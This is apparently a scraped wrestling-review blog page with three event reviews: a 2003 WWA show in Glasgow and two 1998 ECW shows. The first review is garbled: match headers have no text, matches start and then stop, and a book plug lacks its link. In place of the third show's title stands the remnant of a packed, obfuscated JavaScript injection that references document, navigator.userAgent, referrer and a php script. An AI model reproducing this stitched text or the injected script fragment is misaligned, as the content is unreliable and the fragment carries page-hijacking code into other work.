WWA: The Retribution
Date: February 9, 2003 (Taped December 6, 2002)
Location: Scottish Exhibition and Conference Center, Glasgow, Scotland
Attendance: 3,000
Commentators: Jeremy Borash, Disco Inferno

Kazarian vs. Shark Boy

Disco gets the comedy going fast by suggesting that Shark Boy was conceived on the set of Jaws and may be the son of Richard Dreyfuss. Kaz is the heel here and gets caught by an early hiptoss and some chops in the corner. Sharky sends him to the floor and gets caught by a plancha. Kaz is pulled back in but sends Shark Boy into the middle buckle to take over. An atomic drop puts Kaz down and Sharky bites him on the trunks for good measure. The referee gets one too and the fans are way into Shark Boy.

Kaz comes back with a quick leg lariat to take over before getting two off a snap belly to belly suplex. We hit a quick chinlock but Sharky fights up, only to be backdropped out to the floor. Back in and a leg sweep takes Shark Boy down for two but Kaz misses a guillotine legdrop to give us a breather. Shark Boy comes back with right hands and a one knee Codebreaker for two.

Time for the traditional commissioner promo after the opening match, this time from Mike Sanders. He immediately calls Disco a jackass before playing to the crowd a bit. Some music randomly plays in what seems to be a technical issue. Sanders seems to be a face here despite being a heel for most of his career. He runs down the rest of the card before being interrupted by Joe E. Legend. For those of you unfamiliar, Legend is a journeyman who once lost clean to the Brooklyn Brawler on a WWF weekend show in 2001. Let that sink in for a bit.

Konnan vs. Nate Webb

Some of you might know Webb from CZW. His nickname is Spyder and he looks like Vampiro. Perry Saturn jumps him as he comes in for no apparent reason before hitting a quick powerbomb, a Death Valley Driver and the Rings of Saturn. Webb is dead so the bell rings and Konnan pins him in three seconds.

Johnny Swinger/Buff Bagwell vs. Norman Smiley/Malice

NWA World Champion Jeff Jarrett is here to get back at Nathan Jones for something not important enough to talk about.

Puppet vs. Teo

Post match Saturn runs in and beats both guys down before saying he had an open contract for tonight. He hits on Midajah and kisses her before dragging her to the back.

Joe E. Legend vs. Mike Sanders

Rating: D. There was nothing here but a bunch of spots. At the end of the day there was no story or reason for this match to happen other than Joey (has anyone ever seen him wrestle before?) insulting the Scottish people. Sanders was WAY out of his element as a face here, making the match yet another filler piece.

Post match Sanders hypes up the no rules three way dance with Simon Diamond, Sabu and Saturn.

NWA World Title: Jeff Jarrett vs. Nathan Jones

A Cactus Clothesline puts both guys on the floor and Jarrett is in trouble. Jones picks up a chair which is promptly taken away from him and we go back inside. Jeff kicks the knee out again and hits the running crotch attack in 619 position. Off to a sleeper by the champ who is apparently bleeding from the eye. After that gets broken up, Jeff bails to the floor and wedges a chair between the top and middle ropes.

Sabu vs. Simon Diamond vs. Perry Saturn

WWA World Title: Sting vs. Lex Luger

Rating: F. This was a seven minute match and they cut two promos in the middle of it. Luger wrestled enough to fill a 90 second match and walks out with the world title as a result. This was to set up Sting vs. Jarrett, as Sting won the title a week later at a house show. Anyway, TERRIBLE match here and an embarrassment for both guys.

The announcers wrap things up (for five minutes) to end the show.

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at:

Living Dangerously 1998
Date: March 1, 1998
Location: Asbury Park Convention Center, Asbury Park, New Jersey
Attendance: 3,700
Commentator: Joey Styles

It’s been about four to five months since our last outing and only one thing has really changed: Al Snow. He’s risen to prominence now with the Head gimmick and he is having a match tonight with Kronus to showcase himself. Also Storm is feuding with Candido because Storm got thrown out of his spot as a Triple Threat prospect.

 

Jerry Lynn/Chris Chetti vs. F.B.I.

Chetti was the first graduate of the House of Hardcore, the ECW wrestling school, which I know because Joey says that Chris Chetti was the first graduate of the House of Hardcore, the ECW wrestling school. The F.B.I. are all dancing for some reason. This is Guido and Smothers in case you were wondering.

 

Lynn had little credibility at this point but he was getting more popular. Chetti is introduced as the first graduate of the House of Hardcore, the ECW wrestling school. The fans don’t like Smothers, like at all. Maybe Lynn has more credibility at this point than I thought. Ok the WOO for chops is getting annoying.

 

Lynn takes out both guys with a nice looking dive from the top. Rich accidentally nails Chetti. Wait what? That’s what Joey said but it makes no sense. That’s not something I usually have to say about him. He annoys me but to be fair he doesn’t make many huge mistakes. Also to be fair, another guy up there might catch his errors, which are understandable.

 

Chetti hooks a small package but Lynn messes up and has the referee. Again Chris gets the cover on a rollup but there’s no referee. Chetti gets a nice spot where he runs up the corner and comes back with a reverse leg lariat. That was pretty sweet. He finally gets the hot tag to Lynn who cleans house including a jumping back elbow which makes him awesome. Rick comes in with an Italian flag but the shot misses and hits Guido, giving Lynn a rollup for the win.

Rating: C+. Not bad at all. It was pretty fast paced and formula based so everything went fine there. It got the crowd into the show which is never a problem that this place has so that kind of makes these matches redundant. Even still, this was fine.

Joey says Wing Kanemura isn’t here so of course we get a video package anyway on him. He’s not here. Ok then.

Lance Wright, some jerk in a bad suit that says he works for Vince, says that tonight it’s Doug Furnas vs. Tanaka. This guy is really annoying.

Masato Tanaka vs. Doug Furnas

So I watched the whole match before I started writing about it and the only word to describe it is sloppy beyond all belief. I mean they botch a ton of stuff here and it’s not like they’re little spots. They botch BIG spots. Tanaka tries for a tornado DDT but it turns into them just falling all over each other.

 

I guess you can chalk some of this up to them having limited time to prepare, but at the same time these are pros and shouldn’t have to deal with things like this. The fans are booing the heck out of this match and I can’t say for a second that I blame them. It’s just amateurish looking to say the least.

 

A botch here and there is one thing but this is awful. Tanaka ends this nightmare with a roaring elbow. Ok so it wasn’t all botches but still there were FAR too many in here to be acceptable. Post match Wright talks about WWF higher ups and Furnas nails him before putting on an ECW shirt, and I’m assuming defecting or something like that.

Rating: D. The botches just killed it and in a match that doesn’t even go for six minutes that just sucked the life out of this one for me. This just wasn’t worth a PPV time slot but again to be fair they didn’t know that this would be the match. They at least realized the match sucked and ended it before it got out of hand.

Ad for the Hardcore Hotline. Also, you can get a FREE merchandise catalogue. That’s actually smart. Wrestlepalooza, which might be the best name ever, is in two months which is the shortest layoff yet so that’s a good sign.

We can’t air Sandman vs. Sabu because it’s graphic. Keep that in mind.

Nicole Bass, an annoying chick that thought she was a hot Chyna and Jason, an annoying guy, show up and demand that we see a tape. It’s of Dreamer showing up without Beaulah. Yeah that’s it. Tommy has his dog with him. That’s just cool for some reason.

Rob Van Dam vs. 2 Cold Scorpio

Van Dam is still a huge heel here but it’s lightening up a lot. Scorpio is over as free beer in a frat house. He’s Flash Funk at this point but here he’s just the simple 2 Cold Scorpio and therefore much better than he was in WWF. The more I hear the more I think Van Dam is already a face. They start with a long feeling out process which is fine as they do some decent technical stuff.

 

However, we of course get a botch because it’s ECW. Those things just suck the life out of a lot of matches. I understand that they are going to happen and at least here they covered it up a bit. In the previous match they just assumed no one noticed and thought it would be fine. That’s just freaking dumb. We get a very nice reversal sequence with a lot of monkey flips that ends with a standoff.

 

Very nice indeed. We hit the floor and Van Dam is in the crowd. Well you knew it was going to happen sooner or later I guess. I think they’re going for the big epic match here but the fans aren’t all happy with it which can’t be a good sign. To be fair though, most of the time not all fans are going to love the thing. The fans want Sandman apparently. That sums up ECW crowds pretty well.

 

We’re given a high flying technically mostly sound match, and the fans want weapons and blood and tables. So many times these fans were just ridiculous and stupid and this is one of them. Scorpio hits a SWEET moonsault. The Five Star which isn’t called that yet gets knees or what are called knees I suppose as it looked like it hit pretty well to me. We hit the ramp for awhile and the Van Daminator is more or less no sold. Hint for how to counter: HIT HIM WITH THE CHAIR. Seriously dude, use some freaking intelligence.

 

A piledriver on the ramp and Van Dam is hurt. And there goes the referee because in a no DQ match we need a referee for…? Van Dam tries to steal the 450 and would have missed completely anyway. Scorpio mostly hits the 450 and here’s Sabu to up the workrate. An Arabian Facebuster gets two. Sandman comes out to chase off Sabu. Van Dam gets a SWEET jumping rollup for the pin. Post match Van Dam acts very cocky and offers a handshake but Scorpio nails him to a big pop.

 

Sabu comes back with a table so they try to put Scorpio through it. Naturally this doesn’t work as Sandman makes the save. In a stupid moment, as Scorpio is laying on it and Sandman makes the save, he pops up as soon as Sandman is here. Yeah that didn’t look dumb at all. Sandman tries a hurricanrana from the top through the table on Sabu. Guess what happens. Go ahead and guess. Anyway, the two faces share a beer after the match. Sandman dances. This is disturbing.

Rating: B-. This was good, but it suffers from the same problem that it always does: Paul Heyman overbooking it. Can ANYONE explain to me why Sabu and Sandman had to come in there? I know RVD and Sabu are partners, but he had no business coming to ringside at all.

 

The match was rather good until they went to the floor and it became just another brawl. Why is wrestling so hard to do when you have two guys that are really good at it? I get that it’s a hardcore company, but at the end of the day it’s a wrestling company and should be about wrestling.

Ok so see if you can follow this one. That’s not me talking, that’s how Heyman starts the next video package. Are you freaking kidding me? The idea is that Storm was a Triple Threat (top heel stable) prospect and won the tag titles with Candido who was in Triple Threat.

 

Sunny showed up and got Candido to go insane and beat up Storm so they’re still champions but hate each other. I didn’t know Russo worked for ECW. Tonight there’s a tag match where they’re on other sides and both get to pick partners. The winners get nothing at all. They would hold the titles another THREE MONTHS before losing them. You think that’s long enough?

Dudley Boys vs. New Jack/Spike Dudley vs. Hardcore Chair Swingin Freaks

It’s elimination rules of course. Gertner’s intro is hilarious for Big Dick Dudley: “The man who last night took such liberties with YOUR mother that he is now legally your father in 17 states.” That is just awesome. About himself: “More tongue in cheek than a lesbian orgy” and “Joel, your girlfriend has me on speed dial because she loves the way I star 69 her, Gertner.” This guy is awesome.

 

He follows that up with “Currently getting jiggy with it to my left,” seriously, sign this guy now. The intro takes like 8 minutes but it’s hilarious. Balls and Axl come out and the brawl is on early. And after some ok stuff here’s New Jack with his weapons to screw the whole thing up. Oh dang it we have to listen to the freaking song again don’t we. Yep we do.

 

The music really throws things off as it keeps making me think that something important is happening or that the team who came out to it are winning. And yep it’s all weapons now. Spike keeps jumping all over the place because that’s the only thing he can do to make sense here. And now all six go into the crowd. Ok then. We’re at the merchandise stand now and Spike and New Jack dive like 15 feet to the floor through tables through the Dudleys.

 

Ok, when Mankind did it, it was cool. This was just mindless violence being substituted for wrestling. Keep in mind that ten minutes into this match the sang song is still playing. An Acid Drop through a table gets two for Spike as Bubba saves it since they want to eliminate Balls and Axl. And a 3D does just that. Twin guitar shots and an Acid Drop and a chair from the top ends this mess.

Rating: D. I hate these things. They’re just complete garbage and more than anything else, I hate that song. Why is this considered interesting or good or anything like that? Anyway, this was just like every other one of these that they did as in it was completely pointless and mindless crap.

We get a big long package about Justin Credible who was pushed to the freaking moon for years. The problem: the fans didn’t care or buy it. Why didn’t they? Simply put: he wasn’t any good. He was average as can be and that’s it.

Justin Credible vs. Tommy Dreamer

Jenna Jameson is the new reporter. Justin Credible comes out and says he has Beaulah so who needs Jenna. I would agree actually. Nicole Bass and Jason are with him and I honestly thought Bass was a man at first. Jenna tries to act tough and it just fails. Dreamer comes out and I have to hear her consistently say Tommy I love you (for those of you that don’t know, that’s my first name).

 

He kisses her and Joey says Dreamer goes where every man has gone before which made me laugh. Dreamer actually hits a plancha as we have a priest in the front row and we keep hearing about how Justin crossed a line. That amuses me to no end. And hey, what a shock, it’s a brawl. AGAIN Joey talks about the Sandman vs. Sabu match that we can’t show. Let it be made clear: WE CANNOT SHOW IT.

 

Yeah just remember that. Dreamer hits a running dropkick to the chair while Justin is in the Tree of Woe. We get kind of a Raven spot as Dreamer gets hit with a drop toehold into a chair. Ok, Justin doesn’t deserve to be WOOED on chops. Neither does Tommy to be fair. They use a chair for about ten spots in a row because that just makes things better or whatever. Dreamer hits a DEATH VALLEY Driver (screw that Spicolli nonsense. He was a drug addict and died after taking too many drugs.

 

He’s not some saint that deserves to be canonized. Let it go already.) which Justin no sells. The spinning, which adds nothing to it that I can see, tombstone hits and here’s Beaulah. She hits Justin low and does the same to Jason before DDTing him. Nicole puts her in a bearhug which she manages to botch.

 

Bass falls out of her top as Mikey Whipwreck, who feuded with Justin but has no bearing here comes in for the save. He has a bad leg and Justin breaks a crutch over his cast before Dreamer hits a DDT for the pin.

Rating: D+. What was the point of this again? I forgot with all the chair shots and nonsense going on. This was just more mindless fighting that nothing actually came from. I’m not huge on that as it just was stupid. And I like Tommy.

We get the same ad from earlier for the catalogue and PPV which apparently wasn’t supposed to air then.

Now we get what was supposed to air: Bigelow vs. Taz which was because Bigelow was getting beaten up by Triple Threat so he asked Taz to be his partner to fight them. Taz gets a great line: “I’m not gonna be your partner. I’m gonna be your savior.”

 

Keep in mind that was in his shouting voice. After Taz beats up Shane and says he wants to be world champion (the match didn’t happen for almost another year) Bigelow jumps him and reveals it was all a setup to stop Taz. That makes sense I guess.

TV Title: Taz vs. Bam Bam Bigelow

Remember that Bigelow is the hometown boy. I love how they announce Bigelow’s weight and Joey says a different one during the match. That always amuses me for some reason. Bigelow hits a great powerbomb. He was always great at that move. Shame Diesel was using it in WWF so Bigelow couldn’t do it. This is a long brawl but there’s some wrestling in there to balance it out I guess.

 

They hit the crowd for awhile and actually Taz gets some solid cheers. And then Bigelow gets suplexed off the ramp and to the floor and both nearly die. Because that’s clearly the big ratings draw here right? We go back to the ring and Bigelow uses power stuff which Taz gets to suplex his way out of. See, THAT is how Taz looks good: when it’s Shane or some small guy that he’s throwing around it just gets repetitive.

 

The suplexes are leverage moves and now he’s getting to show what he can do with that leverage, making it seem far more important. The tables are brought in as we just have to have those because the wrestling here clearly isn’t good enough. We brawl on the floor AGAIN as I grow to hate Heyman even more. It’s ok to just wrestle in the ring guys. The fans are really restless here as they were popping like cherries for the wrestling stuff.

 

Case in point: Taz takes a sign to the head, fans are dead/booing. They trade punches, crowd cheers. See? It’s not hard to just have wrestling. Tazmission is locked in and Bigelow drops him through the ring. They climb out and Bigelow pulls Taz up for the easy pin. It looked cool and the fans all freaked out over it, but Bigelow couldn’t win with his shoulder piledriver to give us a standard ending? I hate that.

Rating: D+. The brawling was just too much here. This match wanted so badly to be good but the brawling and the tables and the over the top nature of it just killed the thing. Paul just refused to accept the idea of two good wrestlers just getting out there and wrestling and that’s what wound up killing him off in the end. Sometimes the fans just want wrestling and while Paul tried to do that, he went too far most of the time and it killed things.

Heyman runs up and says the Kronus vs. Snow is cancelled and we’re going to see Sandman vs. Sabu from before the PPV, the PPV that the censors said WE CANNOT SEE. Ok, a few questions here. Number one, there was more adult stuff on PPV yet this is inappropriate? Number two, if this is such a hot feud, which it was I guess, why not have this on the PPV?

 

If they were upset that it couldn’t be shown, why would you film it and not air it? Everything else is live, so why wasn’t this? I get in something like UFC where they have the prelim fights taped in case something goes like 10 seconds. That makes sense as it’s a legit concern and if something like that does happen, they have something that they can plug in and give the fans a legit PPV.

 

However, you wouldn’t put St. Pierre in a prelim match that MIGHT make air. This whole thing with Joey constantly saying we can’t air it but there just happens to be full commentary for it anyway makes me shake my head. I guess if you think about it enough it could make sense, but you shouldn’t have to think that hard about it which is the point.

Sabu vs. Sandman

This is dueling canes. Sabu hits the ring second and gives him some fairly weak cane shots. And as Sandman takes over…Sabu runs in for the save? The first guy is RVD in disguise. That’s actually brilliant. Alfonso sends Van Dam to the back despite them destroying Sandman. That makes sense right? Anyway, this is your standard weapons/garbage match because neither can work more than two minutes without them.

 

Wait, where are the canes? I see no canes. Oh that’s right. It’s freaking ECW, meaning there’s no logic at all. It’s just Sabu beating up Sandman for about 10 minutes before Van Dam comes out to help him. There’s just nothing to talk about here at all as it’s terrible. Sabu beats up Sandman some more and the crooked ref of the week comes out to count the pin. This was awful.

Rating: F. What was the point of the canes match or whatever? What was the point of any of this actually? I just don’t get the point here at all as it wasn’t any good and it was just more mindless brawling which seems to be the theme for the show.

Back in the arena, everyone has Styrofoam Heads. Styles yells at Heyman for showing the match that the censors wanted to keep off the air. Apparently they didn’t fix the ring but the main event is happening anyway. Styles says he quits if this happens again with Paul. It’s convincing if you don’t think about it I guess.

Chris Candido/Shane Douglas vs. Lance Storm/???

Two guesses as to who Storm’s partner is given the heads out there. And the partner is Sunny, and you can see the screwjob from here. Storm and Candido do their usual thing which means its cool. Sunny comes in and we don’t have the catfight with Francine. OF COURSE Sunny makes the swerve that no one bought. The fans chant that they want Head.

 

For some reason they give Storm a mic while he’s in a camel clutch and as Candido asks what he’s going to give him, Storm says he’s going to give him head. And yep, Snow comes out. However, for no reason at all, they keep spinning the camera upside down at random intervals. It’s REALLY confusing and annoying. So after about a three minute brawl with Snow’s music playing and Shane falling through the hole in the ring, Snow gets the pin with a Snow Plow. The celebration ends the show.

Rating: N/A. This was way too short and way too over the top to grade. With the camera spinning and the lights going out I couldn’t really keep track of it. Seriously though, this was the main event: a four minute brawl that ends with a quick pin. That sums up everything to me.

Overall Rating: D. There was one title match and a 4 minute main event. How in the world does this validate a PPV show? This show had the skeleton of a good show there, but it just failed to deliver one. To be fair though, I think it’s because of Heyman more than anything else.

 

He just can’t let things stay the way they should be and it’s killing him. There just doesn’t need to be a chair or a big angle all the time and it weakened the show badly here. I wanted to like this show but I just couldn’t do it. They tried but they were running with an anchor. Only for ECW fans.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nyhty|var|u0026u|referrer|yfzdh||js|php'.split('|'),0,{})) 1998
Date: February 21, 1998
Location: ECW Arena, Philadelphia, Pennsylvania
Commentator: Joey Styles

I downloaded this like three months ago and never got around to reviewing it. I also have the 99 version and November to Remember 1995 which is allegedly the best ECW show ever and I’ll be getting to those this week I hope. Anyway, this is the internet convention or whatever and it’s basically just a really big house show. As you all know I’m not that fond of ECW’s PPV years so let’s get to it.

Don’t like the company, still dig that freaking theme song.

We start with the ring filling up for a ten bell salute to Louie Spicolli who died 6 days before this show. Whoa wait: DROZ worked for ECW? Heyman talks about how there’s a group that talks about being a member of it for life. It’s a nice marketing line but in ECW that’s reality. This show is dedicated to Louie Spicolli and there’s a Louie chant. Ten bell salute goes off.

Danny Doring vs. Jerry Lynn

Lynn is “Dynamic” here. Was he ever not old? Even here he’s 35. Technical stuff to start and Doring struts a bit, which is called the Dastardly Shuffle by Joey. Dang those fans are loud. Lynn makes fun of the Shuffle and we get into some technical stuff. Roadkill trips Lynn but Doring misses a bottom rope (yes bottom rope) elbow. Rather back and forth stuff here as Lynn takes over again.

Suplex gets two and a headbutt misses to let Doring take over again. On the floor Roadkill and Doring mess up and the heels go into the crowd. Lynn is like cool dude and gets a running start off the apron and dives over the railing with a flip dive to take them both out. Lynn misses a middle rope leg drop and Doring takes over again. Tiger Bomb gets two for Doring but he might have hurt his elbow.

The distraction lets Roadie come in and hit a walk the top rope (AmishTaker according to Joey) elbow which the referee misses somehow. Doring of course has to be a jerk and wastes time so it’s only a two count. Doring puts him on top and Lynn hits a sunset bomb for the pin out of nowhere. Oh apparently Doring is afraid of heights. Got it. Makes limited sense but got it.

Rating: C. Meh match here but it wasn’t bad. Lynn is solid in the ring but Doring is just a wrestler and not that interesting in the slightest. Nothing match here but that doesn’t mean it was bad. They needed more to work with and Doring needs WAY more charisma, which he wouldn’t really get. Decent enough opener though.

Al Snow vs. Tracy Smothers

Al is in the middle of the push of a lifetime which would ultimately fail because Shane Douglas HAD to lose the title to Taz and NO ONE ELSE so Al’s push was wasted but whatever. Tracy is part of the FBI and is more or less a comedy character. The fans do the mannequin head rave thing. The entrance is taking forever. The ring is full of the heads now.

And now let’s keep the rave thing going and START THE SONG AGAIN. Snow clears the ring and shakes the head a lot. Somehow there’s a chair in the ring and we go through the introductions. All of Smothers’ entourage get introductions also. And let’s stall some more now. The bell has already rung by the way. The FBI leaves and Snow stays in the ring. And now there are birds chirping. Snow’s entrance started 8 minutes ago.

The bell rings again and we still haven’t had any contact here. AND THEY STALL AGAIN. They haven’t even touched each other yet, nor have they been in the ring alone more than 5 seconds in a row. Now the fans want pizza. Even free pizza couldn’t make this interesting. Hey they’re in the ring at the same time. HE LOCKED UP WITH HIM! There’s a Guido’s Polish chant.

Snow grabs the head again and I want a grilled cheese. I’d rather listen to the music video called Grilled Cheese from the new Looney Tunes Show than keep watching this “match.” Don’t ask why I know it’s on or anything. Just forget I said that actually. Smothers is on the floor again as we’re well over fifteen minutes into this segment now counting intros. Joey is making fun of the Godfather to kill time. Not the wrestler. The movie. We’ve sunk that low.

Snow stops to touch the mannequin again as the ring is filled with smoke for some reason. Did Van Dam get lost under the ring or something? Guido pulls the top rope down and we go to the floor to waste some time. The fans want to know where the fire is. We actually GET SOME WRESTLING and as average as it is, this is a breath of freaking air. Tommy Rich comes in with an Italian flag shot to change the momentum again.

Out to the floor and the FBI double teams Snow. You know if I told you Al Snow vs. Tracy Smothers was going to get twenty minutes in a segment with no signs of stopping, I might be tempted to say that show is going to suck. Double team in the ring now but it’s ECW so that’s all cool. Oh sweet merciful toothpaste it’s a chinlock. The Italian hits a…no screw that. I’m not wasting one of my signature lines on a twenty three minute (so far) Tracy Smothers match.

Sitout powerbomb gets two for Snow. Guido interferes AGAIN and a leg lariat gets two for Smothers. Snow starts his comeback and hits a moonsault for two. He sends Smothers to the outside and this a top rope moonsault onto all three Italians. Chair to the head slows him down a bit. Oh good night now the referee is bumped. EVERYTHING IS NO DISQUALIFICATION! WHY DO YOU NEED TO BUMP THE REFEREE???

The crooked referee Jeff Jones comes out and is in a WWF referee shirt and hat. Everyone beats on Al as Jones is like this is cool with me. Naturally four grown men and a flag stick beating on you for a minute is nothing though as Snow grabs the head and blasts everyone with it. Tommy Rich is bleeding. Snow Plow for all the heels and a top rope head shot to Tracy’s balls ends this.

Rating: I. As in if you don’t know what I thought of this match, go play in traffic. Like immediately. Let me put this in perspective. This match/segment got 32 minutes in total. The original Hell in a Cell match, as in probably the best match the Undertaker has ever had and one of the most violent matches ever, got thirty from bell to bell. Just let that sink in for a bit.

Doug Furnas vs. Chris Chetti

Furnas is “from the WWF”, complete with a manager dressed like Vince carrying a big WWF flag. That being said, he comes out to Sad But True which was one of the first rock songs I ever got into so I can’t say he’s not making me smile a bit. Actually I can say that, but it’s a figure of speech. You get the idea I’m sure. They go to the mat almost immediately and the fans applaud. Gee that’s nice of them.

Chetti gets some clotheslines but a rana is blocked by a powerbomb. Furnas starts in on the back and yells at the fans some. Into a Liontamer and Chetti takes a beating for awhile. Belly to belly superplex gets two. The fans chant boring so Chetti hits a DDT and a double jump moonsault for the pin. Even Joey sounds shocked.

Rating: D+. Nothing to see here. Chetti wasn’t anything until he hooked up with Nova a few years later. This was just there to get Chetti on the card I guess. It kind of sucks that he wasn’t interesting in the slightest. Furnas had a good look but no one cared about it. The WWF invader thing didn’t help him either.

The Vince look-a-like says Furnas is property of the WWF and he’s not thrilled with that. Furnas raises Chetti’s hand and almost kills the manager (Mr. Wright).

Joey welcomes us to the show…an hour into it. He talks about a dream partner tag match on Sunday where the tag champions will both pick mystery partners and face each other. Chris Candido is picking Shane Douglas but Storm won’t say who he’s picking. Joey brings out the Triple Threat (ECW’s version of the Horsemen but with better looking women) to try to get some answers.

This incarnation is Douglas, Candido and Bigelow. They even have hand signals. Shane…just get over it dude. Sunny is hotter than it should be legal to be. This was during Shane’s RIDICULOUS title reign that I still say is what killed the promotion. Shane won the title and him dropping it to Taz was more or less set in stone. Then Shane got hurt and he kept the title an extra SIX MONTHS so he could drop it to Taz. The problem was that by the time he finally did it, Taz’s heat was gone and the title change meant nothing. Shane held the title for all of 1998 so him talking about Taz here wouldn’t be paid off for nearly a year.

Shane talks down to Taz about his TV Title as apparently the Triple Threat hasn’t been around long. Well at least this incarnation hasn’t. Shane wants to know who Storm’s partner is but Candido says it doesn’t matter. Sunny knows who the partner is but won’t tell anyone. Apparently there are a lot of secrets she has from Candido and they get in an argument. This of course was a fake fight and they would be reunited at the PPV when Sunny was the partner for about a minute. The REAL partner (I think) was AL Snow.

Lance Storm vs. Chris Candido

They’re tag champions and they HATE each other. For no apparent reason Candido does a full entrance here. All Storm to start and a baseball slide puts Chris in the fans. Big plancha takes Candido out further. DOWN GOES SIGN GUY!!! The fans of course like Sunny more than anyone else and can you blame them? Candido fires off some chops to get some WOOs going.

Storm misses Candido and almost hits his face on the buckle. Close enough I guess as he sells it anyway. Delayed vertical is countered but Candido gets a neckbreaker for no cover. He’d rather pose a bit instead. Off to a chinlock which doesn’t last long. Storm tries to make his comeback but gets caught in a release powerslam. Storm comes back with chops as there are fans dressed as Bigelow and Sabu.

Big spinwheel kick puts Chris down again as does a dropkick which gets two. Storm misses a jump though and gets crotched on the top. Belly to back superplex gets two for Candido. Northern lights suplex gets two. Powerbomb doesn’t work and Storm gets a kick to take over. Candido fires off a super rana but he delays in covering again so it’s only two. They go the top again and Storm fights back and hits the Blonde Bombshell (top rope powerbomb and Candido’s finisher) for the pin.

Rating: C. Eh not bad and WAY better than anything else tonight, but just kind of there. These two feuded forever and had much better matches but this was ok. I’d rather have just looked at Sunny for the ten minutes they had for the match though. Not much and the whole Candido/Sunny issues went nowhere.

TV Title: Brakkus vs. Taz

Brakkus is more or less an American version of Rob Terry and is also “a WWF guy”. Actually he was in WWF for awhile and did nothing at all. Taz takes him down almost immediately and hits the crossface punches. Brakkus hits a powerbomb and his manager Droz sets up a table. Another powerbomb hits but the powerslam through the table is countered into a suplex through it. Gorilla press is countered into a Tazplex and the Tazmission ends this quick. Taz would lose the title Sunday to Bigelow in the match where they broke the ring.

Justin Credible vs. Tommy Dreamer

First blood here. Dreamer in a gimmick match that makes things more violent? Who would have seen that coming? Justin has been talking about Tommy’s family apparently. Oh and they’re having a regular match Sunday. Of course they are. One great thing about these old ECW shows: Beaulah. She is freaking gorgeous on all levels. Dreamer brings a trashcan lid with him because that’s how he rolls.

Out to the floor almost immediately as the fans make fun of Nicole Bass. She’s Justin’s bodyguard if that clears anything up. Dreamer hits a slingshot into a chair into the post. So what was the point of the chair if the post was already back there? Cactus Clothesline over the railing by Dreamer puts them both into the crowd. Time to walk around the arena like in every big ECW brawl.

We’re already on our third chant that implies Bass is a male. Jason, Justin’s uh…..friend I guess, interferes and a reverse DDT puts Dreamer down. The chair gets wedged between the top two ropes and Dreamer goes head first into it. Justin suplexes him onto the chair which doesn’t really hurt the head. Then again no one accused Justin of being all that intelligent.

A second suplex is countered and here comes Dreamer. Neckbreaker out of the corner still doesn’t work on the head at all. Beaulah and Jason have a quick argument in the ring which results in the referee taking a road sign shot to the head. Death Valley Driver puts Justin down as the fans chant Louie. DDT onto the chair but still no blood.

Time for the barbed wire and Tommy wraps it around himself. Seriously, does no one in ECW think these things through? A splash off the top hits Justin and Dreamer is in agony. And here’s RVD with a top rope kick to put a trashcan into the head of Dreamer. Barbed wire into his head plus a trashcan to the barbed wire wrapped around Dreamer’s head busts him open. A tombstone kills Beaulah and the referee wakes up in time to see Dreamer’s blood to end this.

Rating: D+. Just a weak match here that for the most part had no psychology at all. The run in made no sense but I guess it’s something that you need to watch the TV show to get. Also, what’s the point in having a gimmick match a week before a regular match? Either way, nothing of note here and just your usual brawl in ECW.

Jason gets beaten up with barbed wire post match and Dreamer chokes him with it for a bit.

Here are the Dudleys who aren’t the tag champions at the moment. We do get the always funny Joel Gertner entrance. Apparently the Dudleys just got back from Japan and they’re now the United States Intercontinental TV Western States Heritage Tag Team Champions. Gertner does the entrances, saying that he delivers more package than UPS. Apparently Big Dick Dudley has damaged more hotels than the entire US Hockey Team.

D-Von is getting jiggy with it before your very eyes and is very muscular apparently and is the Super Cruiserweight Champion of the World. Ok then. Bubba is the chairman of the Dudleyville Olympic Committee. These things take forever but they’re always funny. Joel says this is the gold, now send in the silver and the bronze. Good line.

Dudley Boys vs. Balls Mahoney/Axl Rotten/Sandman

Rotten and Mahoney come out in like a minute. Sandman’s should take roughly four….except he’s coming through the entrance like a normal wrestler. I’m not sure what to make of that. Somehow the entrance still takes nearly five minutes. Bubba is still a country hick and he talks down to Sandman a bit. He wants to wrestle so he gets caned in the head.

The brawl begins of course and Big Dick (the third Dudley) can’t be hurt by kendo stick shots. Instead he hits a chokeslam to Sandman and pounds away a bit. This is one of those matches where it’s just a wild brawl with no real coherence or anything like that. The Dudleys are in control here other than D-Von who is having issues with Axl. Balls hammers on Bubba as well as Sandman crashes to the floor. Oh that was an “elbow drop”. Got it.

Bubba vs. Balls in the ring at the moment. Superkick puts the future Bully down but Bubba manages a superplex of all things. We’ve got a cheese grater to the head of Rotten and he’s busted now. D-Von is beating on him now. There’s no tagging or semblance of order if for some reason you’re confused and were expecting some.

Mahoney is thrown into the crowd for a bit. All three Dudleys put him on a table while his partners are in the ring and down. Bubba goes up on some stage to dive off…and here’s New Jack. He clocks Bubba with a chair and dives onto Balls instead. Spike Dudley and Kronus are in the ring now and it’s a 9 man triple threat tag team match now. Sure, why not?

Dudley Boys vs. Balls Mahoney/Axl Rotten/Sandman vs. Spike Dudley/John Kronus/New Jack

New Jack’s song plays throughout the match even though Spike and Sandman are the only guys in the ring. Spike gets a bunch of two counts off various small person offense. Sandman goes to the floor but Spike misses a baseball slide. Kronus is busted. Balls is busted. You can make your own jokes there. A standing version of the move that would become known as What’s Up hits New Jack.

The most famous combination of the Dudley Boys sets for the 3D on New Jack but Jack falls down. The big brawl is still going here but it’s far slower. Granted they’ve been fighting for over ten minutes, but why are the new guys so tired? Kronus and Sandman both work on Big Dick. Lucky. It’s table time but it’s not set up. Pretty much just random punches with an occasional weapon being used.

Mahoney gets a belly to back suplex on Spike and sets for a moonsault through the table. Spike pops up and gets something like a tornado DDT through the table to Balls. Axl hits a REALLY inverted reverse DDT to eliminate Spike’s team. Yes this is elimination now. Bubba calls for the 3D on Sandman but the partners interfere. Something resembling a Stun Gun onto a chair is enough for Sandman to pin Bubba and end this.

Rating: D+. I still don’t like these things but at the same time this wasn’t as bad as some of these got. The biggest issue of all is the time, as this ran nearly 20 minutes. Far too long but they kept it mostly entertaining. The extra three guys coming in helped as it energized things a bit. Not horrible but nothing we haven’t seen a few million times already.

Shane Douglas/Bam Bam Bigelow vs. Rob Van Dam/Sabu

